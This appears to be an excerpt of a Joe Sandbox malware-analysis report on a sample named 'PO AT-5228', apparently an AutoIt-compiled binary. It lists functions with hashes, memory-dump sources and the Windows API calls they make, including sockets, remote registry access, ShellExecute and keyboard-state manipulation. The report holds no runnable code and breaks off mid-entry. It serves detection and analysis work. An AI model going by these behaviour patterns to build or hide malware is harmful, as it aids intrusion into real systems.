Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: c4fe4278d8faac102446db455aaff6f59a09624a44f3807444c31dfd3ef27ffe
Instruction ID: 0e270f6251987577040b44d3d14adcf82e742928ecc36ebe68c798bbb7ce190f
Opcode Fuzzy Hash: c4fe4278d8faac102446db455aaff6f59a09624a44f3807444c31dfd3ef27ffe
Instruction Fuzzy Hash: C911EE7230D742BAE7216B549C82DAE23DCEF17354B2000BAF640A6281E7A89B405264

Function 00BAA729 Relevance: 12.3, APIs: 8, Instructions: 317COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(?,00000000), ref: 00BAA806

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: ArraySafeVartype
String ID:
API String ID: 1725837607-0
Opcode ID: 1634baa97eef771927cbc17e996d90081ff45c4531587c2aceec184b2b439feb
Instruction ID: e319d91088924f29c8e6c2881ae07b0981255959359ee2b76a998b0d449b1f2a
Opcode Fuzzy Hash: 1634baa97eef771927cbc17e996d90081ff45c4531587c2aceec184b2b439feb
Instruction Fuzzy Hash: F3C1707590821ADFDB00DF94D481BAEB7F4FF0A315F2084AAE615E7381D735A941CBA1

Function 00BA6B49 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00BA6B63
LoadStringW.USER32(00000000), ref: 00BA6B6A
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 00BA6B80
LoadStringW.USER32(00000000), ref: 00BA6B87
_wprintf.LIBCMT ref: 00BA6BAD
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00BA6BCB

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00BA6BA8

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 3648134473-3128320259
Opcode ID: 7cbd368defaf16f06f5e4435b782cc112ef480e3a70ae392b4b6defb1cb5d6eb
Instruction ID: 07c810669c2139e377936e21f45946f0e68c20a4ccc10af64dbf950b9029f888
Opcode Fuzzy Hash: 7cbd368defaf16f06f5e4435b782cc112ef480e3a70ae392b4b6defb1cb5d6eb
Instruction Fuzzy Hash: 85014FF2500248BFEB11A7949DC9EE633ACEB04304F4044A5B745EA051EAB4DE848F71

Function 00BC2B19 Relevance: 12.3, APIs: 8, Instructions: 251registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BC3C06: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00BC2BB5,?,?), ref: 00BC3C1D

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00BC2BF6

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: BuffCharConnectRegistryUpper
String ID:
API String ID: 2595220575-0
Opcode ID: 76212c43f434218e5fd4daec3e79f6a09df329365a0fc37c125a1b2756f8d705
Instruction ID: 643f6c44307bde709ebc618b486164e470853fbdc9fdab1b758e4b3fa79f59c5
Opcode Fuzzy Hash: 76212c43f434218e5fd4daec3e79f6a09df329365a0fc37c125a1b2756f8d705
Instruction Fuzzy Hash: 0E916E716042019FCB01EF54C891F6EBBE5FF58310F04889DF9969B2A2DB75E945CB42

Function 00BB961C Relevance: 12.2, APIs: 8, Instructions: 220networkCOMMON

Download Yara Rule

APIs

select.WSOCK32 ref: 00BB9691
WSAGetLastError.WSOCK32(00000000), ref: 00BB969E
__WSAFDIsSet.WSOCK32(00000000,?,00000000), ref: 00BB96C8
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00BB96E9
WSAGetLastError.WSOCK32(00000000), ref: 00BB96F8
inet_ntoa.WSOCK32(?), ref: 00BB9765
htons.WSOCK32(?,?,?,00000000,?), ref: 00BB97AA

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: ErrorLast$htonsinet_ntoaselect
String ID:
API String ID: 500251541-0
Opcode ID: d2f0acc830d01662803f3c2de6f743ac29ccc2d1453cd4a64d7d0153cc3b57a2
Instruction ID: 39491b6b5309cd660357c6619ab6f48ee5b7aa5ae89b4ea2ed97655174dbe959
Opcode Fuzzy Hash: d2f0acc830d01662803f3c2de6f743ac29ccc2d1453cd4a64d7d0153cc3b57a2
Instruction Fuzzy Hash: 0371CC31504240AFC710EF64CC85EABB7E8EF85714F104A9DF5569B2A1EBB0DD04CB92

Function 00B8A979 Relevance: 12.1, APIs: 8, Instructions: 118COMMONLIBRARYCODE

Download Yara Rule

APIs

__mtinitlocknum.LIBCMT ref: 00B8A991

Part of subcall function 00B87D7C: __FF_MSGBANNER.LIBCMT ref: 00B87D91
Part of subcall function 00B87D7C: __NMSG_WRITE.LIBCMT ref: 00B87D98
Part of subcall function 00B87D7C: __malloc_crt.LIBCMT ref: 00B87DB8

__lock.LIBCMT ref: 00B8A9A4
__lock.LIBCMT ref: 00B8A9F0
InitializeCriticalSectionAndSpinCount.KERNEL32(8000000C,00000FA0,00C16DE0,00000018,00B95E7B,?,00000000,00000109), ref: 00B8AA0C
EnterCriticalSection.KERNEL32(8000000C,00C16DE0,00000018,00B95E7B,?,00000000,00000109), ref: 00B8AA29
LeaveCriticalSection.KERNEL32(8000000C), ref: 00B8AA39

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: CriticalSection$__lock$CountEnterInitializeLeaveSpin__malloc_crt__mtinitlocknum
String ID:
API String ID: 1422805418-0
Opcode ID: 92fe18c120e26487152d34aab2c0271cad68f5cdc4ebbba37bb87a551db9f25d
Instruction ID: 2d425eaaa2a45c4a2fd80891501fbe3f63036b6101ebbd8970a3e61f7bc0a2f9
Opcode Fuzzy Hash: 92fe18c120e26487152d34aab2c0271cad68f5cdc4ebbba37bb87a551db9f25d
Instruction Fuzzy Hash: A8412D719002059BFB28BF68D98575CB7F0EF01335F20439AE425AB5F1DBB49941CB92

Function 00BC8ECC Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00BC8EE4
GetDC.USER32(00000000), ref: 00BC8EEC
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00BC8EF7
ReleaseDC.USER32(00000000,00000000), ref: 00BC8F03
CreateFontW.GDI32(?,00000000,00000000,00000000,00000000,?,?,?,00000001,00000004,00000000,?,00000000,?), ref: 00BC8F3F
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00BC8F50
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00BCBD19,?,?,000000FF,00000000,?,000000FF,?), ref: 00BC8F8A
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00BC8FAA

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 2edabddd1895c7ea0d2f462bf22269f658ebfdc9d8606f390406b9713b041a23
Instruction ID: 0d7023ba58cf755422c0a0536f42cc46a95902eacb5b0f2f9adab2536117795b
Opcode Fuzzy Hash: 2edabddd1895c7ea0d2f462bf22269f658ebfdc9d8606f390406b9713b041a23
Instruction Fuzzy Hash: FD314D72100254BFEB118F50CC89FEA3BA9EF49755F084069FE099F191DAB59841CBB4

Function 00BB16DA Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 309COMMON

Download Yara Rule

APIs

Part of subcall function 00B6936C: __swprintf.LIBCMT ref: 00B693AB
Part of subcall function 00B6936C: __itow.LIBCMT ref: 00B693DF

Part of subcall function 00B7C6F4: _wcscpy.LIBCMT ref: 00B7C717

_wcstok.LIBCMT ref: 00BB184E
_wcscpy.LIBCMT ref: 00BB18DD
_memset.LIBCMT ref: 00BB1910

Strings

X, xrefs: 00BB1948

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: _wcscpy$__itow__swprintf_memset_wcstok
String ID: X
API String ID: 774024439-3081909835
Opcode ID: 5631ff50a0e490631b75741be2fcb0b5b25a9fb4e9d3088d6a2373d49e54c455
Instruction ID: 37f762ec430198dd92c85e782281b83ed2f93ab3ade47f1ae4621b261ea6c982
Opcode Fuzzy Hash: 5631ff50a0e490631b75741be2fcb0b5b25a9fb4e9d3088d6a2373d49e54c455
Instruction Fuzzy Hash: 83C1A1716043409FC724EF28C991AAEB7E4FF85350F4449ADF899972A2DB70ED45CB82

Function 00BD0133 Relevance: 10.7, APIs: 7, Instructions: 245windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00B7B34E: GetWindowLongW.USER32(?,000000EB), ref: 00B7B35F

GetSystemMetrics.USER32(0000000F), ref: 00BD016D
MoveWindow.USER32(00000003,?,00000000,00000001,00000000,00000000,?,?,?), ref: 00BD038D
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 00BD03AB
InvalidateRect.USER32(?,00000000,00000001,?), ref: 00BD03D6
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 00BD03FF
ShowWindow.USER32(00000003,00000000), ref: 00BD0421
DefDlgProcW.USER32(?,00000005,?,?), ref: 00BD0440

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Window$MessageSend$InvalidateLongMetricsMoveProcRectShowSystem
String ID:
API String ID: 3356174886-0
Opcode ID: f6048382b0a9bae9198ad24df827fc218c0e45d577f8ef568bec8badb06db692
Instruction ID: 44ac1223ffadb83be157387b9ef3921029997d9e898515d73e9286365158dca7
Opcode Fuzzy Hash: f6048382b0a9bae9198ad24df827fc218c0e45d577f8ef568bec8badb06db692
Instruction Fuzzy Hash: 99A17C35610616AFDB18DF68C9857ADFBF1FB48710F048196EC54AB390E774AD50CB90

Function 00B7AE78 Relevance: 10.7, APIs: 7, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2079cc878baba11460231c530b0951913362f15c64327f58d9559d235a8f563
Instruction ID: ff44896d098520b86bac65bac8a4deb452b5ceec74d6ef009eac2a92cafb7e95
Opcode Fuzzy Hash: b2079cc878baba11460231c530b0951913362f15c64327f58d9559d235a8f563
Instruction Fuzzy Hash: 6E715C71904109AFCB14DF98CC85AAEBBB4FF85314F14C199F929AB251D730AA41CF65

Function 00BC2230 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 191COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00BC225A
_memset.LIBCMT ref: 00BC2323
ShellExecuteExW.SHELL32(?), ref: 00BC2368

Part of subcall function 00B6936C: __swprintf.LIBCMT ref: 00B693AB
Part of subcall function 00B6936C: __itow.LIBCMT ref: 00B693DF

Part of subcall function 00B7C6F4: _wcscpy.LIBCMT ref: 00B7C717

CloseHandle.KERNEL32(00000000), ref: 00BC242F
FreeLibrary.KERNEL32(00000000), ref: 00BC243E

Strings

@, xrefs: 00BC2334

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: _memset$CloseExecuteFreeHandleLibraryShell__itow__swprintf_wcscpy
String ID: @
API String ID: 4082843840-2766056989
Opcode ID: e0ac2da01158e33e0c321b0437d8774cf54903a47d4127ac41ca5045ad7fc8a8
Instruction ID: 660fcf5dfd5ae73e46ebd0221f6392b3f8b9e5884a0b4ab0bbe2b5972886cff6
Opcode Fuzzy Hash: e0ac2da01158e33e0c321b0437d8774cf54903a47d4127ac41ca5045ad7fc8a8
Instruction Fuzzy Hash: F5714D75A00619DFCF05EFA4C891AAEBBF5FF48310F1084A9E859AB351DB34AD40CB94

Function 00BA3DA8 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00BA3DE7
GetKeyboardState.USER32(?), ref: 00BA3DFC
SetKeyboardState.USER32(?), ref: 00BA3E5D
PostMessageW.USER32(?,00000101,00000010,?), ref: 00BA3E8B
PostMessageW.USER32(?,00000101,00000011,?), ref: 00BA3EAA
PostMessageW.USER32(?,00000101,00000012,?), ref: 00BA3EF0
PostMessageW.USER32(?,00000101,0000005B,?), ref: 00BA3F13

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: d88e2499d913dae74a9d66834ffad8c672322bafec5af31fcb24d5fc55d3ec02
Instruction ID: 161c5bf7d3672d2a02555e5e82b2b689f7162c0cdb04096cd61a15594cac1358
Opcode Fuzzy Hash: d88e2499d913dae74a9d66834ffad8c672322bafec5af31fcb24d5fc55d3ec02
Instruction Fuzzy Hash: 1851C1A0A1C7D53DFB3643288845BBA7EE99B07B04F0845C9F0D55A8C2D7E5AEC4D760

Function 00BA3BC3 Relevance: 10.7, APIs: 7, Instructions: 164windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 00BA3C02
GetKeyboardState.USER32(?), ref: 00BA3C17
SetKeyboardState.USER32(?), ref: 00BA3C78
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00BA3CA4
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00BA3CC1
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00BA3D05
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00BA3D26

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 8ba907bfa136d3caed965415ae1b4cad32806044cd4c924b669a744da24a63ae
Instruction ID: b561571da5cf7ead1da1f629ac72c6c33f1ef31b4a2db53146f0872ef2e93e5d
Opcode Fuzzy Hash: 8ba907bfa136d3caed965415ae1b4cad32806044cd4c924b669a744da24a63ae
Instruction Fuzzy Hash: 9451F6A050C7D57DFB3287248C56BBABED9EB07B00F0884D9F0D55A8C2E695EE84D760

Function 00BA7DB1 Relevance: 10.6, APIs: 7, Instructions: 137timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00BA7DBE
_wcsncpy.LIBCMT ref: 00BA7DF3
_wcsncpy.LIBCMT ref: 00BA7E25
_wcsncpy.LIBCMT ref: 00BA7E58
_wcsncpy.LIBCMT ref: 00BA7E9A
_wcsncpy.LIBCMT ref: 00BA7ED4
_wcsncpy.LIBCMT ref: 00BA7F03

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: _wcsncpy$LocalTime
String ID:
API String ID: 2945705084-0
Opcode ID: 6227f75828aea56832cc7578e1e83c4f237b0a25a05936e825c49f4e59ba051b
Instruction ID: ee0c9c6c9aabc0544f1499c003b4f43b8c9172e6251c512251019ab395d61c03
Opcode Fuzzy Hash: 6227f75828aea56832cc7578e1e83c4f237b0a25a05936e825c49f4e59ba051b
Instruction Fuzzy Hash: A6414C66D29214BADB10BBF48C469CFB7ECEF05310F5089E6E905E3121FA34E615C7A9

Function 00BC8FC8 Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 00BC8FE7
GetWindowLongW.USER32(0193E750,000000F0), ref: 00BC901A
GetWindowLongW.USER32(0193E750,000000F0), ref: 00BC904F
SendMessageW.USER32(00000000,000000F1,00000000,00000000), ref: 00BC9081
SendMessageW.USER32(00000000,000000F1,00000001,00000000), ref: 00BC90AB
GetWindowLongW.USER32(00000000,000000F0), ref: 00BC90BC
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00BC90D6

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: 505704c3579ecdf50e8c8f6dbb7d597dac0af82fe26ec8d06e5dd59aebec643f
Instruction ID: b2b65056ec6384868d781082fee92e4be252cae45960e7f52ffd7406e9f8cdf0
Opcode Fuzzy Hash: 505704c3579ecdf50e8c8f6dbb7d597dac0af82fe26ec8d06e5dd59aebec643f
Instruction Fuzzy Hash: 92312435640215EFEB21CF58DC88F6837E6FB5A714F1802A8F9198F2B1CBB1A841DB41

Function 00BA08AF Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00BA08F2
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00BA0918
SysAllocString.OLEAUT32(00000000), ref: 00BA091B
SysAllocString.OLEAUT32(?), ref: 00BA0939
SysFreeString.OLEAUT32(?), ref: 00BA0942
StringFromGUID2.OLE32(?,?,00000028), ref: 00BA0967
SysAllocString.OLEAUT32(?), ref: 00BA0975

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: c3851bbb005a90207e80aa86ae65bfffc4748889ba8ff6a7c4ce0a51163aae39
Instruction ID: b1bb1961d4b641f9aff0d6717098e42e87f5ec628f20578bf47429219af32855
Opcode Fuzzy Hash: c3851bbb005a90207e80aa86ae65bfffc4748889ba8ff6a7c4ce0a51163aae39
Instruction Fuzzy Hash: 04219576605219AFAB10AF6CCC88DBB73ECEB09360F408165F919DB291DA70EC458B64

Function 00BA2472 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00BA2485
__wcsnicmp.LIBCMT ref: 00BA24A6
__wcsnicmp.LIBCMT ref: 00BA24C0

Strings

#OnAutoItStartRegister, xrefs: 00BA24BA
#notrayicon, xrefs: 00BA247D
#requireadmin, xrefs: 00BA24A0

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 1038674560-2734436370
Opcode ID: 86c03ff1bb85ece0ab4d366362d96741bb61785fcc47ad49d63b411cb4432498
Instruction ID: cdc7abc0ff97038a5cd43a92ded71dca03f954fb46b06541c7a68da247b32804
Opcode Fuzzy Hash: 86c03ff1bb85ece0ab4d366362d96741bb61785fcc47ad49d63b411cb4432498
Instruction Fuzzy Hash: BC214C3150821167D720BB3CDC53EBB73D9EF76300F5084AAFA4997151EA55D942C395

Function 00BA0986 Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

